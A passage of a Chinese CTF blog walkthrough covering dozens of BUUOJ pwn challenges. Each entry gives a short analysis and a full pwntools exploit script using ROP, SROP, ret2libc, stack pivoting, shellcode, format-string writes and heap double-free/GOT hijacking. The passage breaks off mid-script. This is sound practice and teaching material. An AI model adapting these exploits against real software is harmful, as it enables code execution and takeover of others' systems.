这里我们使用csu中的gadget先将r13、r14置为0,之后再mov rdx,r13;mov rsi,r14将rsi和rdx置为0

由于这个gadget运行到后面会执行call [r12 + 8*rbx](rbx已被置0,故实际效果是执行```call [r12]``),故我们还需要在r12内放入一个存有适合指令的地址的地址,这里由于此前我们已经获得了一个栈上地址,故考虑直接在栈上放一个带有ret的gadget的地址后将r12置为该栈上地址即可继续控制程序执行流,需要注意的是call指令会往栈上压入当前的下一条指令的地址,我们还需要将之弹出栈

构造exp如下:

from pwn import *

mov_rax_59_ret = 0x4004e2
pop_rdi_ret = 0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40059a
mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12 = 0x400580
vuln_addr = 0x4004ed
syscall = 0x400517

payload1 = b'A'*0x10 + p64(vuln_addr)

p = remote('node3.buuoj.cn',28147)#process('./ciscn_s_3')# 
p.sendline(payload1)
p.recv(0x20)
stack_addr = u64(p.recv(8))-0x118
sh_addr = stack_addr + 8
log.info(hex(sh_addr))
#gdb.attach(p)
payload2 =  p64(pop_rdi_ret) + b'/bin/sh\x00' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload2 += p64(0) + p64(0) + p64(stack_addr) + p64(0) + p64(0) + p64(0)
payload2 += p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12)
payload2 += p64(mov_rax_59_ret) + p64(pop_rdi_ret) + p64(sh_addr)
payload2 += p64(syscall)
p.sendline(payload2)
#gdb.attach(p)
p.interactive()

运行脚本即可getshell

image.png

解法2:SROP

试了好几种姿势都没弄出来,离谱

难道SROP退出历史舞台了🐎

是我傻了,我给弄成str().encode()了,应该用bytes()…

早知道自己手撕一个frame可能还好点

前面的解法我们使用了gadget中给出的59号系统调用execve,这个解法则是使用了gadget中给出的另外一个15号系统调用rt_sigreturn

系统调用rt_sigreturn用于恢复用户态的寄存器状态,从栈上保存的数据来恢复寄存器的状态

在正常情况下,由用户态切换到内核态之前,系统会将当前进程的寄存器状态压入栈中,将rt_sigreturn作为返回地址一并压入;从内核态切回用户态时便通过栈上的数据来恢复寄存器的状态,大致布局如下:

image.png

因此我们只需要伪造一个SigreturnFrame执行execve(“/bin/sh”,0,0)即可

使用pwntools中的SigreturnFrame工具可以快速构造一个 fake frame

构造exp如下:

from pwn import *
context.arch = 'amd64'
p =remote('node3.buuoj.cn',26063)# process('./ciscn_s_3') # 
e = ELF('./ciscn_s_3')
mov_rax_15_ret = 0x4004da
vuln_addr = 0x4004ed
syscall_addr = 0x400517
payload1 = b'A' * 0x10 + p64(vuln_addr)


p.sendline(payload1)
p.recv(0x20)
stack_leak = u64(p.recv(8)) - 0x118
log.info("stack addr: " + hex(stack_leak))

frame = SigreturnFrame()
frame.rax = 0x3b # syscall::execve, constants.SYS_execve is also ok
frame.rip = syscall_addr
frame.rdi = stack_leak
frame.rsi = 0
frame.rdx = 0
payload2 = b'/bin/sh\x00' + p64(0xdeadbeef) + p64(mov_rax_15_ret) + p64(syscall_addr) + bytes(frame)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图:

img

  1. 当一个用户层进程发起signal时,控制权切到内核层
  2. 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
  3. rt_sigreturn执行完,跳到内核层
  4. 内核恢复②中保存的进程上下文,控制权交给用户层进程

先知社区-SROP exploit

0x016.铁人三项(第五赛区)_2018_rop - ret2libc

惯例的checksec,只开了NX

image.png

拖入IDA分析

image.png

直接给了一个很大的溢出,但是没有直接getshell的gadget,故考虑构造rop链先泄露read函数真实地址再使用LibcSearcher寻找Libc版本最后构造rop链执行system("/bin/sh")以getshell

构造exp如下:

from LibcSearcher import *
from pwn import *
p = remote('node3.buuoj.cn',28409)#process('./2018_rop')
e = ELF('./2018_rop')
offset = 0x88
read_got = e.got['read']
write_plt = e.plt['write']

payload1 = offset * b'A' + p32(0xdeadbeef) + p32(write_plt) + p32(0x8048474) + p32(1) + p32(read_got) + p32(4)

p.sendline(payload1)
read_str = p.recv(4).ljust(4,b'\x00')
print(read_str)
read_addr = u32(read_str)

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base  + libc.dump('str_bin_sh')

payload2 = offset * b'A' + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

image.png

0x017.bjdctf_2020_babyrop - ret2csu + ret2libc

惯例checksec,只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

可以发现在vuln()函数处存在栈溢出

由于没有后面函数,故考虑ret2libc构造rop链执行system("/bin/sh")

构造exp如下:

from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',28167) # p = process('./bjdctf_2020_babyrop') # 
e = ELF('./bjdctf_2020_babyrop')

pop_rdi_ret = 0x400733
puts_plt = e.plt['puts']
puts_got = e.got['puts']
offset = 0x20

payload1 = offset*b'A' + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym['vuln'])

p.recv()
p.sendline(payload1)
puts_str = p.recvuntil(b'\nPull up',drop = True).ljust(8,b'\x00')
print(puts_str)
puts_addr = u64(puts_str)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = offset*b'A' + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)

p.interactive()

运行脚本,得到flag

image.png

0x018.pwn2_sctf_2016 - integer overflow + ret2libc

惯例checksec,发现只开了NX保护

![0QJ_UK7O_A2KJOURYNP`_KW.png](https://i.loli.net/2020/10/09/j5cJeXs3HS4VQr2.png)

拖入IDA进行分析

vuln()函数中使用get_n()函数读入4字节并使用atoi()转为数字,若是大于32则退出,否则再一次调用get_n()函数进行读入

![A`GN6_COM3ZZ5BGCO0P1~AK.png](https://i.loli.net/2020/10/09/IUtdTGcg2eHshOn.png)

不过我们可以发现在get_n()函数中,其所接收的第二个参数为unsigned int,若是我们读入数字-1则会发生整数溢出变成一个巨大的正数,那么在这里便存在溢出点了

SH@J5_XNE_9R_DEH0R_A_T0.png

文件本身不存在可以直接getshell的函数(并且附赠了一堆没用的gadget),故考虑ret2libc,首先泄漏出printf函数地址,再使用LibcSearcher得到libc,最后构造system("/bin/sh")即可

程序中存在%s字符串供打印

1__H@0HQW54N_D27DI_SM_3.png

构造exp如下:

from pwn import *
from LibcSearcher import *

e = ELF('./pwn2_sctf_2016')

bss_addr = 0x804A040
fmtstr_addr = 0x8048702
printf_got = e.got['printf']
printf_plt = e.plt['printf']
main_addr = e.sym['main']
payload = b'A'*0x2c + p32(0xdeadbeef) + p32(printf_plt) + p32(main_addr) + p32(fmtstr_addr) + p32(printf_got)

p =remote('node3.buuoj.cn',29032)
p.sendline(b'-1')
p.sendline(payload)
p.recvuntil(b'You said')
p.recvuntil(b'\n')

printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = b'A'*0x2c + p32(0xdeadbeef) + p32(sys_addr) +  5*p32(sh_addr)

p.sendline(b'-1')
p.sendline(payload2)
p.interactive()

运行即可getshell

E@O1G4DY_S2_DR_2J_0E__O.png

0x019.others_shellcode

直接连接就有flag了…

image.png

0x01A.[HarekazeCTF2019]baby_rop2 - ret2csu + ret2libc

惯例的checksec,发现只开了NX

image.png

拖入IDA进行分析

image.png

主函数中存在溢出,不过没有可以利用的函数,故考虑ret2libc:先使用printf泄露read函数地址再用LibcSearcher得到libc最后构造rop链执行system("/bin/sh")即可

构造exp如下:

from pwn import *
from LibcSearcher import *

e = ELF('./babyrop2')

pop_rsi_r15_ret = 0x400731
pop_rdi_ret = 0x400733
fmtstr = 0x400790
read_got = e.got['read']
printf_plt = e.plt['printf']
main_addr = e.sym['main']
payload = b'A'*0x20 + p64(0xdeadbeef) + p64(pop_rsi_r15_ret) + p64(read_got) +p64(0) + p64(pop_rdi_ret) + p64(fmtstr) + p64(printf_plt) + p64(e.sym['main'])

p = remote('node3.buuoj.cn',25106)
p.recv()
p.sendline(payload)
str = p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')
print(str)
read_addr = u64(str)
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = b'A'*0x20 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.sendline(payload2)
p.interactive()

运行,得到flag藏的位置好深啊

F240_K_XDU@_4RS_JFVI~RP.png

0x01B.ez_pz_hackover_2016 - ret2shellcode

惯例的checksec,保护全关,暗示我们可以为所欲为

拖入IDA进行分析

chall()函数中给我们泄露了一个栈上地址,并读入1023字节,无法溢出

image.png

但是在vuln函数中会拷贝一次我们的输入,可以溢出

image.png

由于给了一个栈上地址,故考虑输入一段shellcode后跳转即可

需要注意的一个点是vuln()函数是将传入的参数的地址作为参数传入memcpy的,故实际上会额外拷贝0xec - 0xd0 = 0x1c字节,那么我们填充到ebp所需的padding长度其实只需要0x32 - 0x1c = 0x16字节

泄露出来的地址和我们拷贝到的地址上的shellcode间距为0x9ec - 0x9d0 = 0x1c,直接跳转过去即可,需要注意的是因为memcpy拷贝了长达0x400字节的内容,会将我们第一次输入的数据尽数破坏,故我们只能向拷贝后的地址跳

image.png

_9T8_GI__708_M0FN1H~_GC.png

故构造exp如下:

from pwn import *
context.arch = 'i386'
p = process("./ez_pz_hackover_2016") #  remote("node3.buuoj.cn", 25809) # 
offset = 0x16
verify = b"crashme\x00"

p.recvuntil("lets crash: ")
stack_leak = int(p.recvuntil('\n')[:-1], 16)
log.info("stack leak: " + hex(stack_leak))
payload = verify + b'A' * (offset - len(verify)) + p32(0xdeadbeef)
payload += p32(stack_leak - 0x1c) + asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

运行,得到flag

image.png

0x01C.ciscn_2019_es_2 - ret2text + stack migration

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

存在溢出,且读取两次输出两次,故第一次我们可以填充0x28字节获得一个栈上地址

image.png

存在system函数

由于溢出只有8个字节,而我们能够获得栈上地址,故考虑进行栈迁移,在栈上构造ROP链

题目中只给了system()函数,没给/bin/sh字符串,不过由于栈上地址可知,故我们可以将之读取到栈上

gdb调试可知我们的输入与所泄露地址间距为0xe18 - 0xde0 = 0x38

image.png

故构造exp如下:

from pwn import *
context.arch = 'i386'
p = remote("node3.buuoj.cn", 25040) # process("./ciscn_2019_es_2") #
e = ELF("./ciscn_2019_es_2")
offset = 0x28
leave_ret = 0x80485FD
payload = b'A' * offset
p.recv()
p.send(payload)
p.recvuntil(payload)
stack_leak = u32(p.recv(4))
log.info(hex(stack_leak))
payload2 = p32(e.sym['system']) + p32(0xdeadbeef) + p32(stack_leak-0x38 + 12) + b'/bin/sh\x00'
payload2 += b'A' * (offset - len(payload2)) + p32(stack_leak - 0x38 - 4) + p32(leave_ret)
p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x01D.[Black Watch 入群题]PWN - ret2libc + stack migration

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

第一次往bss段上读入0x200字节,第二次往栈上读入0x20字节,只能刚好溢出8个字节

故考虑进行栈迁移将栈迁移到bss段上

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

故构造exp如下:

from pwn import *
from LibcSearcher import *
p = remote("node3.buuoj.cn", 29227) # process("./spwn") #
e = ELF("./spwn")
bss_addr = 0x0804A300
leave_ret = 0x8048511
payload1 = p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)
payload2 = b'A' * 0x18 + p32(bss_addr - 4) + p32(leave_ret)

p.send(payload1)
p.recvuntil(b'What do you want to say?')
p.send(payload2)

write_addr = u32(p.recv(4))
log.info(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload3 = p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.recvuntil(b"What is your name?")
p.send(payload3)
p.recvuntil(b'What do you want to say?')
p.send(payload2)
p.interactive()

运行即得flag

image.png

0x01E.jarvisoj_level3 - ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

存在120字节的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./level3') # p = remote('node3.buuoj.cn',26149)
e = ELF('./level3')
offset = 0x88

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.recv()
p.send(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

感觉ret2libc的题基本都大同小异啊…

0x01F.jarvisoj_fm - fmtstr

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析,存在格式化字符串漏洞

image.png

当x为4时直接getshell,x在bss段上

image.png

格式化字符串在第13个参数的位置

image.png

故构造exp如下:

from pwn import *

payload = fmtstr_payload(11,{0x804A02C:0x4})

p = remote('node3.buuoj.cn',25865)
p.sendline(payload)
p.interactive()

运行即得flag

image.png

0x020.jarvisoj_tell_me_something - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

from pwn import *
from LibcSearcher import *
#context.log_level = 'DEBUG'
p = remote('node3.buuoj.cn',26270)#process('./guestbook') # 
e=  ELF('./guestbook')
offset = 0x88
pop_rdi_ret = 0x4006F3
pop_rsi_r15_ret = 0x4006f1

payload1 = b'A'* offset + p64(pop_rsi_r15_ret) + p64(e.got['write']) + p64(0) + p64(pop_rdi_ret) + p64(1) + p64(e.plt['write']) + p64(e.sym['main'])
p.sendline(payload1)
p.recvuntil(b'I have received your message, Thank you!\n')
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'* offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x021~0x030

0x021.jarvisoj_level4 - ret2libc

惯例的checksec,发现只开了栈不可执行保护

I1__E1AGMQCM8C3C__IR4_N.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./level4') # p = remote('node3.buuoj.cn',28914)
e = ELF('./level4')
offset = 0x88

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.send(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x022.jarvisoj_level3_x64 - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

两个小gadget的地址如下

image.png

故构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./level3_x64') # remote('node3.buuoj.cn',26836)
e = ELF('./level3_x64')
write_got = e.got['write']
write_plt = e.plt['write']
offset = 0x80
pop_rsi_r15_ret = 0x4006b1
pop_rdi_ret = 0x4006b3
payload1 = b'A' * offset + p64(0xdeadbeef) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(1) + p64(write_plt) + p64(e.sym['main'])

p.recv()
p.sendline(payload1)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A' * offset + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行即可getshell

image.png

0x023.bjdctf_2020_babystack2 - integer overflow + ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

read读入时会把signed转成unsigned, 输入-1即可绕过检测

同时我们发现存在后门函数,返回至此即可

image.png

构造exp如下:

from pwn import *
p = process('./bjdctf_2020_babystack2') # remote('node3.buuoj.cn', 25058)
backdoor = 0x400726
offset = 0x10
payload = b'A' * offset + p64(0xdeadbeef) + p64(backdoor)

p.sendline(str(-1).encode())
p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x024.hitcontraining_uaf - UAF + fastbin double free

漏洞直接在题目名称里说明了事UAF

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,我们可以发现这个程序有着分配、打印、释放堆块的功能

不难看出在添加堆块时首先会分配一个8字节大小的chunk,该chunk前4字节储存一个函数指针,后4字节则储存实际分配的chunk的指针

image.png

在打印堆块时会调用小chunk中的函数指针来打印堆块内容

image.png

同时我们可以发现在释放堆块的过程中并未将堆块指针置0,存在UAF漏洞

image.png

同时我们可以发现存在后门函数

故考虑通过fastbin double free分配到同一个堆块后堆风水改写函数指针为后门函数地址后打印即可getshell

构造exp如下:

from pwn import *
p = process('./hacknote') # remote('node3.buuoj.cn',28832)
backdoor = 0x8048945

def cmd(command:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Note size :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content :")
    p.send(content)

def free(index:int):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def show(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    new(8, "arttnba3") # idx 0
    free(0)
    free(0)
    new(0x20, "arttnba3") # idx 1
    new(8, p32(backdoor)) # idx 2, overlapping
    show(0)
    p.interactive()

if __name__ == "__main__":
    exp()

运行即可getshell

image.png

0x025.[ZJCTF 2019]EasyHeap - fastbin attack

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析,可以发现该程序存在分配、编辑、释放堆块的功能

漏洞点在于编辑堆块的地方,可以输入任意长度内容造成堆溢出

image.png

利用这个漏洞我们可以修改fastbin中的fd分配fake chunk来进行任意地址写

在bss段附近我们可以找到一个size合适的地方

image.png

由于plt表中就有system函数,故考虑分配一个bss段上的fake chunk后修改任一堆块指针为free@got后修改free@gotsystem@plt后free掉一个内容为"/bin/sh\x00"的chunk即可get shell

image.png

构造exp如下:

from pwn import *
p = remote('node3.buuoj.cn',26930)
e = ELF('./easyheap')
backdoor = 0x8048945
context.log_level = 'DEBUG'

def cmd(command:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap:")
    p.send(content)

def edit(index:int, size:int, content):
    cmd(2)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)

def free(index:int):
    cmd(3)
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())

def exp():
    new(0x60, "arttnba3") # idx 0
    new(0x60, "arttnba3") # idx 1
    new(0x60, "arttnba3") # idx 2
    new(0x60, "arttnba3") # idx 3
    new(0x60, "arttnba3") # idx 4

    free(2)
    payload = b'A' * 0x60 + p64(0) + p64(0x71) + p64(0x6020a0 - 3 + 0x10)
    edit(1, 114514, payload)
    new(0x60, "arttnba3") # idx 2
    new(0x60, "arttnba3") # idx 5, fake chunk on the bss

    payload2 = b'\xaa' * 3 + p64(0) * 4 + p64(e.got['free'])
    edit(5, 0x100, payload2)
    edit(0, 0x10, p64(e.plt['system']))
    
    new(0x60, b'/bin/sh\x00')
    free(6)
    p.interactive()


if __name__ == "__main__":
    exp()

运行即可getshell

image.png

其实有一个cat flag的后门函数,不过pwn的最终目的自然是getshell,所以这个后门函数对👴来说不存在的

0x026.babyfengshui_33c3_2016 - heap arrangement + got table hijack

堆题集中地带请小心

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

我们不难看出分配堆块时所生成的大致结构应当如下,且该结构体malloc的大小为0x80,处在unsorted bin 范围内

image.png

漏洞点在于对输入长度的检测,它是检测的是我们所输入的长度是否大于从description chunk的addr到struct chunk的prev_size的长度

image.png

在常规情况下我们似乎只能够覆写掉PREV_SIZE的一部分,不痛不痒

但是考虑这样的一种情况:我们先分配两个大块(chunk*4,其中第一个块的size要在unsorted范围内),之后释放掉第一个大块,再分配一个size更大的块,unsorted bin内就会从这个大chunk(由两个chunk合并而来)中切割一个大chunk给到description,之后再从下方的top chunk切割0x90来给到struct,这个时候由于对length的错误判定就会导致我们有机会覆写第二个大块中的内容

image.png

故考虑先覆写第二个大块中的description addr为free@got后泄漏出libc的基址,后再修改free@got为system函数地址后释放一个内容为"/bin/sh"的chunk即可通过system("/bin/sh")来get shell

构造exp如下:

from pwn import *
p = process('./babyfengshui_33c3_2016') # remote('node3.buuoj.cn',26486)
e = ELF('./babyfengshui_33c3_2016')
libc = ELF('./libc-2.23.so')

def cmd(command:int):
    p.recvuntil(b"Action: ")
    p.sendline(str(command).encode())

def new(size:int, name, length:int, descryption):
    cmd(0)
    p.recvuntil(b"size of description: ")
    p.sendline(str(size).encode())
    p.recvuntil(b"name: ")
    p.sendline(name)
    p.recvuntil(b"text length: ")
    p.sendline(str(length).encode())
    p.recvuntil(b"text: ")
    p.sendline(descryption)

def free(index:int):
    cmd(1)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())

def show(index:int):
    cmd(2)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())

def edit(index:int, length:int, descryption):
    cmd(3)
    p.recvuntil(b"index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"text length: ")
    p.sendline(str(length).encode())
    p.recvuntil(b"text: ")
    p.sendline(descryption)

def exp():
    new(0x80, "arttnba3", 0x10, "arttnba3") # idx 0
    new(0x10, "arttnba3", 0x10, "arttnba3") # idx 1
    new(0x10, "arttnba3", 0x10, "/bin/sh\x00") # idx 2
    free(0)

    big_size = 0x80 + 8 + 0x80
    padding_length = 0x80 + 8 + 0x80 + 8 + 0x10 + 8
    new(big_size, "arttnba3", padding_length + 4, b'A' * padding_length + p32(e.got['free'])) # idx 3
    show(1)

    p.recvuntil(b"description: ")
    free_addr = u32(p.recv(4))
    libc_base = free_addr - libc.sym['free']

    edit(1, 0x10, p32(libc_base + libc.sym['system']))
    free(2)
    p.interactive()

if __name__ == "__main__":
    exp()

运行即可get shell

image.png

以前做堆都是64位起手,这32位的堆题属实把我坑到了,我愣是拿着64位的libc怼了半天,以及毫不思索就写的0x10的chunk头

本题原题来自于C3CTF,歪国人的题目质量其实还是可以的(当然现在我也就只能写得出签到题233333

0x027.picoctf_2018_rop chain - ret2libc

惯例的checksec, 只开了NX保护

image.png

拖入IDA进行分析

image.png

很大很直接的一个溢出的漏洞

由于没有能直接getshell的gadget,还是考虑ret2libc:构造rop链泄露libc基址后执行system("/bin/sh")即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./PicoCTF_2018_rop_chain') # remote('node3.buuoj.cn', 28376)
e = ELF('./PicoCTF_2018_rop_chain')
offset = 0x18

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.recv()
p.sendline(payload1)
puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'A' * offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

运行即可get shell

image.png

0x028.bjdctf_2020_babyrop2 - fmtstr + ret2libc

惯例的checksec,开了NX和canary

image.png

在gift函数中可以泄露canary

image.png

在vuln中直接就有一个溢出

image.png

那么先泄露canary再ret2libc即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./bjdctf_2020_babyrop2') # remote('node3.buuoj.cn', 26028)
e = ELF('./bjdctf_2020_babyrop2')
offset = 0x20 - 8
pop_rdi_ret = 0x400993
#context.log_level = 'DEBUG'

payload1 = '%7$p'
p.recv()
p.sendline(payload1)
canary = int(p.recvuntil('\n', drop = True), 16)
p.recv()

payload2 = b'A' * offset + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(e.sym['vuln'])
p.sendline(payload2)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload3 = b'A' * offset + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload3)
p.interactive()

运行即可getshell

image.png

0x029.jarvisoj_test_your_memory - ret2text

惯例的checksec, 只开了NX保护

image.png

拖入IDA进行分析

image.png

存在溢出

image.png

存在system函数

image.png

存在一个cat flag字符串

那直接system(“cat flag”)就行了

构造exp如下:

from pwn import *
p = remote('node3.buuoj.cn', 29485)
e = ELF('./memory')
offset = 0x13
payload = b'A' * offset + p32(0xdeadbeef) + p32(e.sym['system']) + p32(e.sym['puts']) + p32(0x080487E0)
p.sendline(payload)
p.interactive()

运行即可得到flag

image.png

注:这道题很坑,题目给的二进制文件和部署在服务器上的二进制文件大相径庭,所以没能get shell…

0x02A.bjdctf_2020_router - Linux基础知识

惯例的checksec,只开了NX保护

拖入IDA进行分析

直接可以执行/bin/sh,只需要加一个分号把前面的指令分割开来即可

故构造exp如下:

from pwn import *
p = process('./bjdctf_2020_router') # p = remote('node3.buuoj.cn', 25537)
p.sendline(b'1')
p.sendline(';/bin/sh')
p.interactive()

运行即可get shell

这是个🔨pwn题

0x02B.picoctf_2018_buffer overflow 1 - ret2libc

惯例的checksec,保护全关,明示我们可以为所欲为❤

拖入IDA进行分析,直接就有一个很明显的溢出

直接ret2libc即可

构造exp如下:

from pwn import *
from LibcSearcher import *
p = process('./PicoCTF_2018_buffer_overflow_1') # p = remote('node3.buuoj.cn',27965)
e = ELF('./PicoCTF_2018_buffer_overflow_1') 
offset = 0x28

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['puts']) + p32(e.sym['main']) + p32(e.got['puts'])

p.sendline(payload1)
p.recvuntil(b'Jumping')
p.recvuntil(b'\n')
puts_addr = u32(p.recv(4))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即可get shell

0x02C.[ZJCTF 2019]Login - ret2text

惯例的checksec,开了nx和canary

拖入IDA进行分析

在主函数中会对输入的username和password进行校验

漏洞点在password_checker()函数,会执行call rax

我们尝试对该值进行溯源,其来自于password_checker()函数的第一个参数

这个参数来自于上层调用函数栈上的rbp - 0x130的位置

这个位置上的数值来自于另一个password_checker()函数的返回值

最终我们得知该值应当来自于函数调用栈上的rbp - 0x18的位置

在输入password的时候我们是从同一个栈位置(同一层级的函数调用使用始于相同位置的栈空间)的rbp - 0x60的位置输入的,虽然使用了fgets但是覆写掉这个位置绰绰有余

同时程序中存在着可以直接get shell的gadget

故直接构造exp如下:

from pwn import *
p = process('./login') # p = remote('node3.buuoj.cn', 27754)
p.sendline(b'admin')
password = b'2jctf_pa5sw0rd'
